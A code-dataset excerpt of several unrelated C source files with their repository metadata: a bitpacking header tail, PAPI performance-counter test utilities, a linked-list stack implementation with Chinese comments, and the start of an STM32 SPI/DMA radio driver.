void __integratedfastpack23(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack24(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack25(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack26(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack27(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack28(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack29(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack30(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack31(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
void __integratedfastpack32(const uint32_t initoffset, const uint32_t *__restrict__ in,
uint32_t *__restrict__ out);
#endif // INTEGRATEDBITPACKING
| 2.03125 | 2 |
2024-11-18T20:50:40.291320+00:00 | 2021-07-02T13:29:48 | b9b01edd342ec75dce1b7d34897a2a83d77e952a | {
"blob_id": "b9b01edd342ec75dce1b7d34897a2a83d77e952a",
"branch_name": "refs/heads/master",
"committer_date": "2021-07-02T13:29:48",
"content_id": "10531ceb1436242a6ddd39fa18acf971b5443acd",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "f76e6fcd7afd050c3cf4089947d3601cb6d67996",
"extension": "c",
"filename": "test_utils.c",
"fork_events_count": 0,
"gha_created_at": "2021-07-03T06:57:18",
"gha_event_created_at": "2021-07-03T08:03:46",
"gha_language": "C",
"gha_license_id": "NOASSERTION",
"github_id": 382548092,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 19493,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/src/testlib/test_utils.c",
"provenance": "stackv2-0118.json.gz:46779",
"repo_name": "loongarch64/Bitbucket-papi",
"revision_date": "2021-07-02T13:29:48",
"revision_id": "07d9bb65d9a02cdbc4a40f3ee2741f81ddb62111",
"snapshot_id": "a34a0e812735258956d48b3a40558b6d1991d1db",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/loongarch64/Bitbucket-papi/07d9bb65d9a02cdbc4a40f3ee2741f81ddb62111/src/testlib/test_utils.c",
"visit_date": "2023-06-06T22:17:40.565164"
} | stackv2 | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include "papi.h"
#include "papi_test.h"
#define TOLERANCE .2
/* Variable to hold reporting status
if TRUE, output is suppressed
if FALSE output is sent to stdout
initialized to FALSE
declared here so it can be available globally
*/
int TESTS_QUIET = 0;
static int TESTS_COLOR = 1;
static int TEST_WARN = 0;
void
validate_string( const char *name, char *s )
{
if ( ( s == NULL ) || ( strlen( s ) == 0 ) ) {
char s2[1024] = "";
sprintf( s2, "%s was NULL or length 0", name );
test_fail( __FILE__, __LINE__, s2, 0 );
}
}
int
approx_equals( double a, double b )
{
if ( ( a >= b * ( 1.0 - TOLERANCE ) ) && ( a <= b * ( 1.0 + TOLERANCE ) ) )
return 1;
else {
printf( "Out of tolerance range %2.2f: %.0f vs %.0f [%.0f,%.0f]\n",
TOLERANCE, a, b, b * ( 1.0 - TOLERANCE ),
b * ( 1.0 + TOLERANCE ) );
return 0;
}
}
long long **
allocate_test_space( int num_tests, int num_events )
{
long long **values;
int i;
values =
( long long ** ) malloc( ( size_t ) num_tests *
sizeof ( long long * ) );
if ( values == NULL )
exit( 1 );
memset( values, 0x0, ( size_t ) num_tests * sizeof ( long long * ) );
for ( i = 0; i < num_tests; i++ ) {
values[i] =
( long long * ) malloc( ( size_t ) num_events *
sizeof ( long long ) );
if ( values[i] == NULL )
exit( 1 );
memset( values[i], 0x00, ( size_t ) num_events * sizeof ( long long ) );
}
return ( values );
}
void
free_test_space( long long **values, int num_tests )
{
int i;
for ( i = 0; i < num_tests; i++ )
free( values[i] );
free( values );
}
int is_event_derived(unsigned int event) {
PAPI_event_info_t info;
if (event & PAPI_PRESET_MASK) {
PAPI_get_event_info(event,&info);
if (strcmp(info.derived,"NOT_DERIVED")) {
// printf("%#x is derived\n",event);
return 1;
}
}
return 0;
}
int find_nonderived_event( void )
{
/* query and set up the right event to monitor */
PAPI_event_info_t info;
int potential_evt_to_add[3] = { PAPI_FP_OPS, PAPI_FP_INS, PAPI_TOT_INS };
int i;
for ( i = 0; i < 3; i++ ) {
if ( PAPI_query_event( potential_evt_to_add[i] ) == PAPI_OK ) {
if ( PAPI_get_event_info( potential_evt_to_add[i], &info ) ==
PAPI_OK ) {
if ( ( info.count > 0 ) &&
!strcmp( info.derived, "NOT_DERIVED" ) )
return ( potential_evt_to_add[i] );
}
}
}
return ( 0 );
}
/* Add events to an EventSet, as specified by a mask.
Returns: number = number of events added
*/
//struct test_events_t {
// unsigned int mask;
// unsigned int event;
//};
struct test_events_t test_events[MAX_TEST_EVENTS] = {
{ MASK_TOT_CYC, PAPI_TOT_CYC },
{ MASK_TOT_INS, PAPI_TOT_INS },
{ MASK_FP_INS, PAPI_FP_INS },
{ MASK_L1_TCM, PAPI_L1_TCM },
{ MASK_L1_ICM, PAPI_L1_ICM },
{ MASK_L1_DCM, PAPI_L1_DCM },
{ MASK_L2_TCM, PAPI_L2_TCM },
{ MASK_L2_TCA, PAPI_L2_TCA },
{ MASK_L2_TCH, PAPI_L2_TCH },
{ MASK_BR_CN, PAPI_BR_CN },
{ MASK_BR_MSP, PAPI_BR_MSP },
{ MASK_BR_PRC, PAPI_BR_PRC },
{ MASK_TOT_IIS, PAPI_TOT_IIS},
{ MASK_L1_DCR, PAPI_L1_DCR},
{ MASK_L1_DCW, PAPI_L1_DCW},
{ MASK_L1_DCA, PAPI_L1_DCA},
{ MASK_FP_OPS, PAPI_FP_OPS},
};
int
add_test_events( int *number, int *mask, int allow_derived )
{
int retval,i;
int EventSet = PAPI_NULL;
char name_string[BUFSIZ];
*number = 0;
/* create the eventset */
retval = PAPI_create_eventset( &EventSet );
if ( retval != PAPI_OK ) {
test_fail(__FILE__,__LINE__,"Trouble creating eventset",retval);
}
/* check all the masks */
for(i=0;i<MAX_TEST_EVENTS;i++) {
if ( *mask & test_events[i].mask ) {
/* remove any derived events if told to */
if ((is_event_derived(test_events[i].event)) &&
(!allow_derived)) {
*mask = *mask ^ test_events[i].mask;
continue;
}
retval = PAPI_add_event( EventSet,
test_events[i].event );
if ( retval == PAPI_OK ) {
( *number )++;
}
else {
if ( !TESTS_QUIET ) {
PAPI_event_code_to_name(test_events[i].event,
name_string);
fprintf( stdout, "%#x %s is not available.\n",
test_events[i].event,name_string);
}
*mask = *mask ^ test_events[i].mask;
}
}
}
return EventSet;
}
int
remove_test_events( int *EventSet, int mask )
{
int retval = PAPI_OK;
if ( mask & MASK_L1_DCA ) {
retval = PAPI_remove_event( *EventSet, PAPI_L1_DCA );
if ( retval < PAPI_OK )
return ( retval );
}
if ( mask & MASK_L1_DCW ) {
retval = PAPI_remove_event( *EventSet, PAPI_L1_DCW );
if ( retval < PAPI_OK )
return ( retval );
}
if ( mask & MASK_L1_DCR ) {
retval = PAPI_remove_event( *EventSet, PAPI_L1_DCR );
if ( retval < PAPI_OK )
return ( retval );
}
if ( mask & MASK_L2_TCH ) {
retval = PAPI_remove_event( *EventSet, PAPI_L2_TCH );
if ( retval < PAPI_OK )
return ( retval );
}
if ( mask & MASK_L2_TCA ) {
retval = PAPI_remove_event( *EventSet, PAPI_L2_TCA );
if ( retval < PAPI_OK )
return ( retval );
}
if ( mask & MASK_L2_TCM ) {
retval = PAPI_remove_event( *EventSet, PAPI_L2_TCM );
if ( retval < PAPI_OK )
return ( retval );
}
if ( mask & MASK_L1_DCM ) {
retval = PAPI_remove_event( *EventSet, PAPI_L1_DCM );
if ( retval < PAPI_OK )
return ( retval );
}
if ( mask & MASK_L1_ICM ) {
retval = PAPI_remove_event( *EventSet, PAPI_L1_ICM );
if ( retval < PAPI_OK )
return ( retval );
}
if ( mask & MASK_L1_TCM ) {
retval = PAPI_remove_event( *EventSet, PAPI_L1_TCM );
if ( retval < PAPI_OK )
return ( retval );
}
if ( mask & MASK_FP_OPS ) {
retval = PAPI_remove_event( *EventSet, PAPI_FP_OPS );
if ( retval < PAPI_OK )
return ( retval );
}
if ( mask & MASK_FP_INS ) {
retval = PAPI_remove_event( *EventSet, PAPI_FP_INS );
if ( retval < PAPI_OK )
return ( retval );
}
if ( mask & MASK_TOT_INS ) {
retval = PAPI_remove_event( *EventSet, PAPI_TOT_INS );
if ( retval < PAPI_OK )
return ( retval );
}
if ( mask & MASK_TOT_IIS ) {
retval = PAPI_remove_event( *EventSet, PAPI_TOT_IIS );
if ( retval < PAPI_OK )
return ( retval );
}
if ( mask & MASK_TOT_CYC ) {
retval = PAPI_remove_event( *EventSet, PAPI_TOT_CYC );
if ( retval < PAPI_OK )
return ( retval );
}
return ( PAPI_destroy_eventset( EventSet ) );
}
char *
stringify_all_domains( int domains )
{
static char buf[PAPI_HUGE_STR_LEN];
int i, did = 0;
buf[0] = '\0';
for ( i = PAPI_DOM_MIN; i <= PAPI_DOM_MAX; i = i << 1 )
if ( domains & i ) {
if ( did )
strcpy( buf + strlen( buf ), "|" );
strcpy( buf + strlen( buf ), stringify_domain( domains & i ) );
did++;
}
if ( did == 0 )
test_fail( __FILE__, __LINE__, "Unrecognized domains!", 0 );
return ( buf );
}
char *
stringify_domain( int domain )
{
switch ( domain ) {
case PAPI_DOM_SUPERVISOR:
return ( "PAPI_DOM_SUPERVISOR" );
case PAPI_DOM_USER:
return ( "PAPI_DOM_USER" );
case PAPI_DOM_KERNEL:
return ( "PAPI_DOM_KERNEL" );
case PAPI_DOM_OTHER:
return ( "PAPI_DOM_OTHER" );
case PAPI_DOM_ALL:
return ( "PAPI_DOM_ALL" );
default:
test_fail( __FILE__, __LINE__, "Unrecognized domains!", 0 );
}
return ( NULL );
}
char *
stringify_all_granularities( int granularities )
{
static char buf[PAPI_HUGE_STR_LEN];
int i, did = 0;
buf[0] = '\0';
for ( i = PAPI_GRN_MIN; i <= PAPI_GRN_MAX; i = i << 1 )
if ( granularities & i ) {
if ( did )
strcpy( buf + strlen( buf ), "|" );
strcpy( buf + strlen( buf ),
stringify_granularity( granularities & i ) );
did++;
}
if ( did == 0 )
test_fail( __FILE__, __LINE__, "Unrecognized granularity!", 0 );
return ( buf );
}
char *
stringify_granularity( int granularity )
{
switch ( granularity ) {
case PAPI_GRN_THR:
return ( "PAPI_GRN_THR" );
case PAPI_GRN_PROC:
return ( "PAPI_GRN_PROC" );
case PAPI_GRN_PROCG:
return ( "PAPI_GRN_PROCG" );
case PAPI_GRN_SYS_CPU:
return ( "PAPI_GRN_SYS_CPU" );
case PAPI_GRN_SYS:
return ( "PAPI_GRN_SYS" );
default:
test_fail( __FILE__, __LINE__, "Unrecognized granularity!", 0 );
}
return ( NULL );
}
/* Checks for TESTS_QUIET or -q command line variable */
/* Sets the TESTS_QUIET global variable */
/* Also returns the value. */
int
tests_quiet( int argc, char **argv )
{
char *value;
int retval;
if ( ( argc > 1 )
&& ( ( strcasecmp( argv[1], "TESTS_QUIET" ) == 0 )
|| ( strcasecmp( argv[1], "-q" ) == 0 ) ) ) {
TESTS_QUIET = 1;
}
/* Always report PAPI errors when testing */
/* Even in quiet mode */
retval = PAPI_set_debug( PAPI_VERB_ECONT );
if ( retval != PAPI_OK ) {
test_fail( __FILE__, __LINE__, "PAPI_set_debug", retval );
}
value=getenv("TESTS_COLOR");
if (value!=NULL) {
if (value[0]=='y') {
TESTS_COLOR=1;
}
else {
TESTS_COLOR=0;
}
}
/* Disable colors if sending to a file */
if (!isatty(fileno(stdout))) {
TESTS_COLOR=0;
}
return TESTS_QUIET;
}
#define RED "\033[1;31m"
#define YELLOW "\033[1;33m"
#define GREEN "\033[1;32m"
#define NORMAL "\033[0m"
static void print_spaces(int count) {
int i;
for(i=0;i<count;i++) {
fprintf(stdout, " ");
}
}
/* Ugh, all these "fprintf(stdout)" are due to the */
/* TESTS_QUIET #define printf hack */
/* FIXME! Revert to printf once we are done converting */
void PAPI_NORETURN
test_pass( const char *filename )
{
(void)filename;
// int line_pad;
// line_pad=60-strlen(filename);
// if (line_pad<0) line_pad=0;
// fprintf(stdout,"%s",filename);
// print_spaces(line_pad);
if ( TEST_WARN ) {
print_spaces(59);
if (TESTS_COLOR) fprintf( stdout, "%s", YELLOW);
fprintf( stdout, "PASSED with WARNING");
if (TESTS_COLOR) fprintf( stdout, "%s", NORMAL);
fprintf( stdout, "\n");
}
else {
if (TESTS_COLOR) fprintf( stdout, "%s",GREEN);
fprintf( stdout, "PASSED");
if (TESTS_COLOR) fprintf( stdout, "%s",NORMAL);
fprintf( stdout, "\n");
}
if ( PAPI_is_initialized( ) ) {
PAPI_shutdown( );
}
exit( 0 );
}
void PAPI_NORETURN
test_hl_pass( const char *filename )
{
(void)filename;
if ( TEST_WARN ) {
print_spaces(59);
if (TESTS_COLOR) fprintf( stdout, "%s", YELLOW);
fprintf( stdout, "PASSED with WARNING");
if (TESTS_COLOR) fprintf( stdout, "%s", NORMAL);
fprintf( stdout, "\n");
}
else {
if (TESTS_COLOR) fprintf( stdout, "%s",GREEN);
fprintf( stdout, "PASSED");
if (TESTS_COLOR) fprintf( stdout, "%s",NORMAL);
fprintf( stdout, "\n");
}
exit( 0 );
}
/* Use a positive value of retval to simply print an error message */
void PAPI_NORETURN
test_fail( const char *file, int line, const char *call, int retval )
{
// int line_pad;
char buf[128];
(void)file;
// line_pad=(60-strlen(file));
// if (line_pad<0) line_pad=0;
// fprintf(stdout,"%s",file);
// print_spaces(line_pad);
memset( buf, '\0', sizeof ( buf ) );
if (TESTS_COLOR) fprintf(stdout,"%s",RED);
fprintf( stdout, "FAILED!!!");
if (TESTS_COLOR) fprintf(stdout,"%s",NORMAL);
fprintf( stdout, "\nLine # %d ", line );
if ( retval == PAPI_ESYS ) {
sprintf( buf, "System error in %s", call );
perror( buf );
} else if ( retval > 0 ) {
fprintf( stdout, "Error: %s\n", call );
} else if ( retval == 0 ) {
#if defined(sgi)
fprintf( stdout, "SGI requires root permissions for this test\n" );
#else
fprintf( stdout, "Error: %s\n", call );
#endif
} else {
fprintf( stdout, "Error in %s: %s\n", call, PAPI_strerror( retval ) );
}
fprintf(stdout, "Some tests require special hardware, permissions, OS, compilers\n"
"or library versions. PAPI may still function perfectly on your \n"
"system without the particular feature being tested here. \n");
/* NOTE: Because test_fail is called from thread functions,
calling PAPI_shutdown here could prevent some threads
from being able to free memory they have allocated.
*/
if ( PAPI_is_initialized( ) ) {
PAPI_shutdown( );
}
/* This is stupid. Threads are the rare case */
/* and in any case an exit() should clear everything out */
/* adding back the exit() call */
exit(1);
}
/* Use a positive value of retval to simply print an error message */
void
test_warn( const char *file, int line, const char *call, int retval )
{
(void)file;
// int line_pad;
// line_pad=60-strlen(file);
// if (line_pad<0) line_pad=0;
char buf[128];
memset( buf, '\0', sizeof ( buf ) );
// fprintf(stdout,"%s",file);
// print_spaces(line_pad);
if (TEST_WARN==0) fprintf(stdout,"\n");
if (TESTS_COLOR) fprintf( stdout, "%s", YELLOW);
fprintf( stdout, "WARNING ");
if (TESTS_COLOR) fprintf( stdout, "%s", NORMAL);
fprintf( stdout, "Line # %d ", line );
if ( retval == PAPI_ESYS ) {
sprintf( buf, "System warning in %s", call );
perror( buf );
} else if ( retval > 0 ) {
fprintf( stdout, "Warning: %s\n", call );
} else if ( retval == 0 ) {
fprintf( stdout, "Warning: %s\n", call );
} else {
fprintf( stdout, "Warning in %s: %s\n", call, PAPI_strerror( retval ));
}
TEST_WARN++;
}
void PAPI_NORETURN
test_skip( const char *file, int line, const char *call, int retval )
{
// int line_pad;
(void)file;
(void)line;
(void)call;
(void)retval;
// line_pad=(60-strlen(file));
// fprintf(stdout,"%s",file);
// print_spaces(line_pad);
fprintf( stdout, "SKIPPED\n");
exit( 0 );
}
void
test_print_event_header( const char *call, int evset )
{
int *ev_ids;
int i, nev;
int retval;
char evname[PAPI_MAX_STR_LEN];
if ( *call )
fprintf( stdout, "%s", call );
if ((nev = PAPI_get_cmp_opt(PAPI_MAX_MPX_CTRS,NULL,0)) <= 0) {
fprintf( stdout, "Can not list event names.\n" );
return;
}
if ((ev_ids = calloc(nev,sizeof(int))) == NULL) {
fprintf( stdout, "Can not list event names.\n" );
return;
}
retval = PAPI_list_events( evset, ev_ids, &nev );
if ( retval == PAPI_OK ) {
for ( i = 0; i < nev; i++ ) {
PAPI_event_code_to_name( ev_ids[i], evname );
printf( ONEHDR, evname );
}
} else {
fprintf( stdout, "Can not list event names." );
}
fprintf( stdout, "\n" );
free(ev_ids);
}
int
add_two_events( int *num_events, int *papi_event, int *mask ) {
int retval;
int EventSet = PAPI_NULL;
*num_events=2;
*papi_event=PAPI_TOT_INS;
(void)mask;
/* create the eventset */
retval = PAPI_create_eventset( &EventSet );
if ( retval != PAPI_OK ) {
test_fail( __FILE__, __LINE__, "PAPI_create_eventset", retval );
}
retval = PAPI_add_named_event( EventSet, "PAPI_TOT_CYC");
if ( retval != PAPI_OK ) {
if (!TESTS_QUIET) printf("Couldn't add PAPI_TOT_CYC\n");
test_skip(__FILE__,__LINE__,"Couldn't add PAPI_TOT_CYC",0);
}
retval = PAPI_add_named_event( EventSet, "PAPI_TOT_INS");
if ( retval != PAPI_OK ) {
if (!TESTS_QUIET) printf("Couldn't add PAPI_TOT_CYC\n");
test_skip(__FILE__,__LINE__,"Couldn't add PAPI_TOT_CYC",0);
}
return EventSet;
}
int
add_two_nonderived_events( int *num_events, int *papi_event, int *mask ) {
/* query and set up the right event to monitor */
int EventSet = PAPI_NULL;
int retval;
*num_events=0;
#define POTENTIAL_EVENTS 3
unsigned int potential_evt_to_add[POTENTIAL_EVENTS][2] =
{ {( unsigned int ) PAPI_FP_INS, MASK_FP_INS},
{( unsigned int ) PAPI_FP_OPS, MASK_FP_OPS},
{( unsigned int ) PAPI_TOT_INS, MASK_TOT_INS}
};
int i;
*mask = 0;
/* could leak up to two event sets. */
for(i=0;i<POTENTIAL_EVENTS;i++) {
retval = PAPI_query_event( ( int ) potential_evt_to_add[i][0] );
if (retval == PAPI_OK ) {
if ( !is_event_derived(potential_evt_to_add[i][0])) {
*papi_event = ( int ) potential_evt_to_add[i][0];
*mask = ( int ) potential_evt_to_add[i][1] | MASK_TOT_CYC;
EventSet = add_test_events( num_events, mask, 0 );
if ( *num_events == 2 ) break;
}
}
}
return EventSet;
}
/* add native events to use all counters */
int
enum_add_native_events( int *num_events, int **evtcodes,
int need_interrupt, int no_software_events,
int cidx)
{
/* query and set up the right event to monitor */
int EventSet = PAPI_NULL;
int i = 0, k, event_code, retval;
int counters, event_found = 0;
PAPI_event_info_t info;
const PAPI_component_info_t *s = NULL;
const PAPI_hw_info_t *hw_info = NULL;
*num_events=0;
s = PAPI_get_component_info( cidx );
if ( s == NULL ) {
test_fail( __FILE__, __LINE__,
"PAPI_get_component_info", PAPI_ECMP );
}
hw_info = PAPI_get_hardware_info( );
if ( hw_info == NULL ) {
test_fail( __FILE__, __LINE__, "PAPI_get_hardware_info", 2 );
}
counters = PAPI_num_hwctrs( );
if (counters<1) {
if (!TESTS_QUIET) printf("No counters available\n");
return EventSet;
}
if (!TESTS_QUIET) {
printf("Trying to fill %d hardware counters...\n", counters);
}
if (need_interrupt) {
if ( (!strcmp(hw_info->model_string,"POWER6")) ||
(!strcmp(hw_info->model_string,"POWER5")) ) {
test_warn(__FILE__, __LINE__,
"Limiting num_counters because of "
"LIMITED_PMC on Power5 and Power6",1);
counters=4;
}
}
( *evtcodes ) = ( int * ) calloc( counters, sizeof ( int ) );
retval = PAPI_create_eventset( &EventSet );
if ( retval != PAPI_OK ) {
test_fail( __FILE__, __LINE__, "PAPI_create_eventset", retval );
}
/* For platform independence, always ASK FOR the first event */
/* Don't just assume it'll be the first numeric value */
i = 0 | PAPI_NATIVE_MASK;
retval = PAPI_enum_cmp_event( &i, PAPI_ENUM_FIRST, cidx );
if ( retval != PAPI_OK ) {
test_fail( __FILE__, __LINE__, "PAPI_enum_cmp_event", retval );
}
do {
retval = PAPI_get_event_info( i, &info );
/* HACK! FIXME */
if (no_software_events && ( strstr(info.symbol,"PERF_COUNT_SW") || strstr(info.long_descr, "PERF_COUNT_SW") ) ) {
if (!TESTS_QUIET) {
printf("Blocking event %s as a SW event\n", info.symbol);
}
continue;
}
if ( s->cntr_umasks ) {
k = i;
if ( PAPI_enum_cmp_event( &k, PAPI_NTV_ENUM_UMASKS, cidx ) == PAPI_OK ) {
do {
retval = PAPI_get_event_info( k, &info );
event_code = ( int ) info.event_code;
retval = PAPI_add_event( EventSet, event_code );
if ( retval == PAPI_OK ) {
( *evtcodes )[event_found] = event_code;
if ( !TESTS_QUIET ) {
printf( "event_code[%d] = %#x (%s)\n",
event_found, event_code, info.symbol );
}
event_found++;
} else {
if ( !TESTS_QUIET ) {
printf( "%#x (%s) can't be added to the EventSet.\n",
event_code, info.symbol );
}
}
} while ( PAPI_enum_cmp_event( &k, PAPI_NTV_ENUM_UMASKS, cidx ) == PAPI_OK
&& event_found < counters );
} else {
event_code = ( int ) info.event_code;
retval = PAPI_add_event( EventSet, event_code );
if ( retval == PAPI_OK ) {
( *evtcodes )[event_found] = event_code;
if ( !TESTS_QUIET ) {
printf( "event_code[%d] = %#x (%s)\n",
event_found, event_code, info.symbol );
}
event_found++;
}
}
if ( !TESTS_QUIET && retval == PAPI_OK ) {
/* */
}
} else {
event_code = ( int ) info.event_code;
retval = PAPI_add_event( EventSet, event_code );
if ( retval == PAPI_OK ) {
( *evtcodes )[event_found] = event_code;
event_found++;
} else {
if ( !TESTS_QUIET )
fprintf( stdout, "%#x is not available.\n", event_code );
}
}
}
while ( PAPI_enum_cmp_event( &i, PAPI_ENUM_EVENTS, cidx ) == PAPI_OK &&
event_found < counters );
*num_events = ( int ) event_found;
if (!TESTS_QUIET) printf("Tried to fill %d counters with events, "
"found %d\n",counters,event_found);
return EventSet;
}
| 2.40625 | 2 |
2024-11-18T20:50:40.370776+00:00 | 2020-05-03T08:15:51 | b53041a07d87fdd43ca4f503d2bb8fcee82fbfee | {
"blob_id": "b53041a07d87fdd43ca4f503d2bb8fcee82fbfee",
"branch_name": "refs/heads/master",
"committer_date": "2020-05-03T08:15:51",
"content_id": "34ff23eabbdfdf930b0b50fca8a6ef4952b57fd7",
"detected_licenses": [
"MIT"
],
"directory_id": "05f168eb4645811105763d57adda44d9ce303371",
"extension": "c",
"filename": "linkstack.c",
"fork_events_count": 0,
"gha_created_at": "2020-05-03T01:52:52",
"gha_event_created_at": "2020-05-03T02:29:16",
"gha_language": null,
"gha_license_id": "MIT",
"github_id": 260809665,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2487,
"license": "MIT",
"license_type": "permissive",
"path": "/栈/2栈的链式存储/2栈的链式存储/linkstack.c",
"provenance": "stackv2-0118.json.gz:46908",
"repo_name": "fengxingtianxia666/DataStructure",
"revision_date": "2020-05-03T08:15:51",
"revision_id": "d6cfc6d8bbde8eccef4c540b45bb4a77b97a581d",
"snapshot_id": "62cbc57912230352811d1a87e67ed82ef6c1df0f",
"src_encoding": "GB18030",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/fengxingtianxia666/DataStructure/d6cfc6d8bbde8eccef4c540b45bb4a77b97a581d/栈/2栈的链式存储/2栈的链式存储/linkstack.c",
"visit_date": "2022-05-24T23:09:00.852862"
} | stackv2 | #define _CRT_SECURE_NO_WARNINGS
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "linklist.h"
#include "linkstack.h"
typedef struct _tag_LinkStackNode//链表业务节点
{
LinkListNode node;
void* item; //栈的业务节点
}TLinkStackNode;
//创建栈相当于创建一个线性表
LinkStack* LinkStack_Create()
{
return LinkList_Create();
}
//销毁一个栈,相对与销毁一个线性表
void LinkStack_Destroy(LinkStack* stack)
{
LinkStack_Clear(stack);//因为入栈时有malloc内存,可以用LinkStack_Clear清空栈元素并析构内存
LinkList_Destroy(stack);
return;
}
//清空一个栈,相当于清空一个线性表
//清空一个栈,涉及到栈元素生命周期的管理
//因为入栈时我们malloc内存了,清空时需要把内存全析构掉
void LinkStack_Clear(LinkStack* stack)
{
if (stack == NULL)
{
return;
}
while (LinkList_Length(stack) > 0)
{
LinkStack_Pop(stack);//因LinkStack_Pop中我们做了析构了,直接复用
}
LinkList_Clear(stack);
return;
}
//向栈中添加元素,相当于向线性表的头部插入元素
//void* item 栈的业务节点,要转化成链表的业务节点
//我们要想直接使用线性表链式存储的代码,必须自定义数据类型,包含栈的业务节点void*和线性表链式节点
int LinkStack_Push(LinkStack* stack, void* item)
{
TLinkStackNode* tmp = NULL;
int ret = 0;
tmp = (TLinkStackNode*)malloc(sizeof(TLinkStackNode));
if (tmp == NULL)
{
return -1;
}
memset(tmp, 0, sizeof(TLinkStackNode));
tmp->item = item;
ret = LinkList_Insert(stack, (LinkListNode*)tmp, 0);
if (ret != 0)
{
printf("LinkStack_Push LinkList_Insert error: %d \n", ret);
if (tmp != NULL)
{
free(tmp);
tmp = NULL;
}
}
return ret;
}
//从栈中弹出元素,相当于从线性表的头部删除元素
//把线性表的业务节点,转化成栈的业务节点
void* LinkStack_Pop(LinkStack* stack)
{
void* item = NULL;
TLinkStackNode* tmp = (TLinkStackNode*)LinkList_Delete(stack, 0);
if (tmp == NULL)
{
return NULL;
}
item = tmp->item;
free(tmp);//我们在入栈时,malloc内存了,这儿要析构掉
return item;
}
//只是获取栈顶元素,并不删除,所以不需要析构
void* LinkStack_Top(LinkStack* stack)
{
void* item = NULL;
TLinkStackNode* tmp = (TLinkStackNode*)LinkList_Get(stack, 0);
if (tmp == NULL)
{
return NULL;
}
item = tmp->item;
return item;
}
int LinkStack_Size(LinkStack* stack)
{
return LinkList_Length(stack);
} | 3.109375 | 3 |
2024-11-18T22:21:41.321443+00:00 | 2015-09-08T09:21:12 | 8f56854b27626307b6bb90ca352118f952862541 | {
"blob_id": "8f56854b27626307b6bb90ca352118f952862541",
"branch_name": "refs/heads/master",
"committer_date": "2015-09-08T09:21:12",
"content_id": "7447fad25110327b1e06806cd2ad93d006c34725",
"detected_licenses": [
"MIT"
],
"directory_id": "c2027f5c4a1dc9c6b33f108bee19f3356649448a",
"extension": "c",
"filename": "spi.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 41796601,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3928,
"license": "MIT",
"license_type": "permissive",
"path": "/firmware/drivers/src/spi.c",
"provenance": "stackv2-0123.json.gz:456",
"repo_name": "BHFaction/SmartThermometer",
"revision_date": "2015-09-08T09:21:12",
"revision_id": "77d66c421fd1f7a0b1fca103651828c1e6374f6d",
"snapshot_id": "97243c109e82e56b792fbf46120d8e51d7f08ddf",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/BHFaction/SmartThermometer/77d66c421fd1f7a0b1fca103651828c1e6374f6d/firmware/drivers/src/spi.c",
"visit_date": "2021-01-18T14:15:48.883561"
} | stackv2 | #include "stm32f10x.h"
#include "stm32f10x_spi.h"
#include "stm32f10x_dma.h"
#include "stm32f10x_gpio.h"
#include "stm32f10x_rcc.h"
#include "spi.h"
#define NOP 0xFF // Define No Operation, might be used to read status register
#define SPI_CE_1() GPIO_SetBits(SPI_GPIO_PORT, SPI_GPIO_CE)
#define SPI_CE_0() GPIO_ResetBits(SPI_GPIO_PORT, SPI_GPIO_CE)
/*
void nRF24L01_DMA_Configuration(void)
{
DMA_InitTypeDef DMA_InitStructure;
RCC_AHBPeriphClockCmd(RCC_AHBPeriph_DMA1, ENABLE);
DMA_DeInit(DMA1_Channel4);
DMA_InitStructure.DMA_PeripheralBaseAddr = (uint32_t)SPI2_DR_Addr;
DMA_InitStructure.DMA_MemoryBaseAddr = (uint32_t)SPI2_Rx_Buff;
DMA_InitStructure.DMA_DIR = DMA_DIR_PeripheralSRC;
DMA_InitStructure.DMA_BufferSize = SPI_BUFFER_SIZE;
DMA_InitStructure.DMA_PeripheralInc = DMA_PeripheralInc_Disable;
DMA_InitStructure.DMA_MemoryInc = DMA_MemoryInc_Enable;
DMA_InitStructure.DMA_PeripheralDataSize = DMA_PeripheralDataSize_Byte;
DMA_InitStructure.DMA_MemoryDataSize = DMA_MemoryDataSize_Byte;
DMA_InitStructure.DMA_Mode = DMA_Mode_Normal;
DMA_InitStructure.DMA_Priority = DMA_Priority_VeryHigh;
DMA_InitStructure.DMA_M2M = DMA_M2M_Disable;
DMA_Init(DMA1_Channel4, &DMA_InitStructure);
DMA_DeInit(DMA1_Channel5);
DMA_InitStructure.DMA_PeripheralBaseAddr = (uint32_t)SPI2_DR_Addr;
DMA_InitStructure.DMA_MemoryBaseAddr = (uint32_t)SPI2_Tx_Buff;
DMA_InitStructure.DMA_DIR = DMA_DIR_PeripheralDST;
DMA_InitStructure.DMA_BufferSize = SPI_BUFFER_SIZE;
DMA_InitStructure.DMA_PeripheralInc = DMA_PeripheralInc_Disable;
DMA_InitStructure.DMA_MemoryInc = DMA_MemoryInc_Enable;
DMA_InitStructure.DMA_PeripheralDataSize = DMA_PeripheralDataSize_Byte;
DMA_InitStructure.DMA_MemoryDataSize = DMA_MemoryDataSize_Byte;
DMA_InitStructure.DMA_Mode = DMA_Mode_Normal;
DMA_InitStructure.DMA_Priority = DMA_Priority_Medium;
DMA_InitStructure.DMA_M2M = DMA_M2M_Disable;
